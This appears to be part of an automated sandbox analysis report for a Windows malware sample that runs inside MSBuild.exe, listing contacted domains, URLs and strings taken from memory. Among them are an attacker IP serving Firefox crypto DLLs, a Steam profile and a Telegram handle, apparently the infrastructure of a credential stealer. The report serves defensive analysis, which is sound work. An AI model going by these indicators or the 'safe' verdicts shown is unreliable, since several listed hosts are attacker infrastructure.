https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh&	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=Wd0kCESeJquW&l=	0%	URL Reputation	safe
http://www.mozilla.com/en-US/blocklist/	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://store.steampowered.com/points/shop/	0%	URL Reputation	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://store.steampowered.com/about/	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://store.steampowered.com/news/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://store.steampowered.com/stats/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp	0%	URL Reputation	safe
https://store.steampowered.com/steam_refunds/	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://store.steampowered.com/legal/	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://steamcommunity.com/?subsection=broadcasts	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli	0%	URL Reputation	safe
https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=&rid=falsetrue%pLuLdluldeEpP%c	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	0%	Avira URL Cloud	safe
http://upx.sf.net	0%	URL Reputation	safe
https://store.steampowered.com/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=7tll	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
https://78.47.123.174/nss3.dll	0%	Avira URL Cloud	safe
https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=&rid=falsetrue%pLuLdluldeEpP%c	0%	Virustotal		Browse
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=7tll	0%	Virustotal		Browse
https://78.47.123.174/mozglue.dll	0%	Avira URL Cloud	safe
https://78.47.123.174	0%	Avira URL Cloud	safe
https://aka.ms/dotnet-core-applaunch?The	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199689717899%	0%	Avira URL Cloud	safe
https://t.me/copterwin	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=E0c90DJSB6Ld&	0%	Avira URL Cloud	safe
https://78.47.123.174	4%	Virustotal		Browse
https://steamcommunity.com/m	0%	Avira URL Cloud	safe
https://github.com/icsharpcode/SharpZipLib	0%	Avira URL Cloud	safe
https://t.me/copterwin	1%	Virustotal		Browse
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	0%	Virustotal		Browse
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=E0c90DJSB6Ld&	0%	Virustotal		Browse
https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&	0%	Avira URL Cloud	safe
https://steamcommunity.com/?subsection=broadcasts	0%	Virustotal		Browse
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js	0%	Avira URL Cloud	safe
https://aka.ms/dotnet-core-applaunch?The	1%	Virustotal		Browse
https://steamcommunity.com/m	0%	Virustotal		Browse
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp	0%	Avira URL Cloud	safe
https://78.47.123.174/freebl3.dll	0%	Avira URL Cloud	safe
https://github.com/icsharpcode/SharpZipLib	0%	Virustotal		Browse
https://78.47.123.174EGDG	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Virustotal		Browse
https://community.clo	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js	0%	Virustotal		Browse
https://78.47.123.174/msvcp140.dll	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199689717899	0%	Avira URL Cloud	safe
https://78.47.123.174/	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&	0%	Virustotal		Browse
https://steamcommunity.com/my/wishlist/	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp	0%	Virustotal		Browse
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/heade	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199689717899	1%	Virustotal		Browse
https://78.47.123.174/	4%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	23.199.218.33	true	true	0%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://78.47.123.174/nss3.dll	false	Avira URL Cloud: safe	unknown
https://78.47.123.174/mozglue.dll	false	Avira URL Cloud: safe	unknown
https://78.47.123.174/freebl3.dll	false	Avira URL Cloud: safe	unknown
https://78.47.123.174/msvcp140.dll	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199689717899	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://78.47.123.174/	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://78.47.123.174/sqls.dll	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://78.47.123.174/softokn3.dll	false	Avira URL Cloud: safe	unknown
https://78.47.123.174/vcruntime140.dll	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	AFBFHD.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	AFBFHD.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=&rid=falsetrue%pLuLdluldeEpP%c	SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://steamcommunity.com/?subsection=broadcasts	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	MSBuild.exe, 00000001.00000002.2045233748.0000000001066000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.000000000117E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, ECGIII.1.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/subscriber_agreement/	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=7tll	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
http://www.valvesoftware.com/legal.htm	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	MSBuild.exe, 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	ECGIII.1.dr	false	URL Reputation: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://78.47.123.174	76561199689717899[1].htm.1.dr	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/dotnet-core-applaunch?The	SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199689717899%	MSBuild.exe, 00000001.00000002.2045233748.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/copterwin	SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1764198655.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1764198655.0000000003F6F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1763723745.0000000002F96000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1769696324.0000000005DC7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	MSBuild.exe, 00000001.00000002.2045233748.0000000001066000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.000000000117E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, ECGIII.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh&	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=E0c90DJSB6Ld&	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=Wd0kCESeJquW&l=	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	MSBuild.exe, MSBuild.exe, 00000001.00000002.2060089144.000000006D09D000.00000002.00000001.01000000.0000000C.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/m	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mozilla.org0/	MSBuild.exe, 00000001.00000002.2045233748.0000000001062000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://github.com/icsharpcode/SharpZipLib	SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://store.steampowered.com/privacy_agreement/	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://store.steampowered.com/points/shop/	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	AFBFHD.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	MSBuild.exe, 00000001.00000002.2045233748.0000000001066000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.000000000117E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, ECGIII.1.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	MSBuild.exe, 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmp, FIIDBK.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	AFBFHD.1.dr	false	URL Reputation: safe	unknown
https://78.47.123.174EGDG	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CBGCAF.1.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/privacy_agreement/	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.clo	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	FIIDBK.1.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/about/	76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/my/wishlist/	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	CBGCAF.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/heade	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://help.steampowered.com/en/	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/market/	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://store.steampowered.com/news/	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=PyuRtGtUpR0t&l=englis	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://78.47.123.174/nss3.dll%	MSBuild.exe, 00000001.00000002.2045233748.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	AFBFHD.1.dr	false	URL Reputation: safe	unknown
http://store.steampowered.com/subscriber_agreement/	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	MSBuild.exe, 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmp, FIIDBK.1.dr	false	URL Reputation: safe	unknown
https://78.47.123.174JEGI	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://78.47.123.174/vcruntime140.dllR	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/discussions/	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://store.steampowered.com/stats/	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/steam_refunds/	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://78.47.123.174/nss3.dlla	MSBuild.exe, 00000001.00000002.2045233748.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	FIIDBK.1.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	AFBFHD.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/workshop/	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
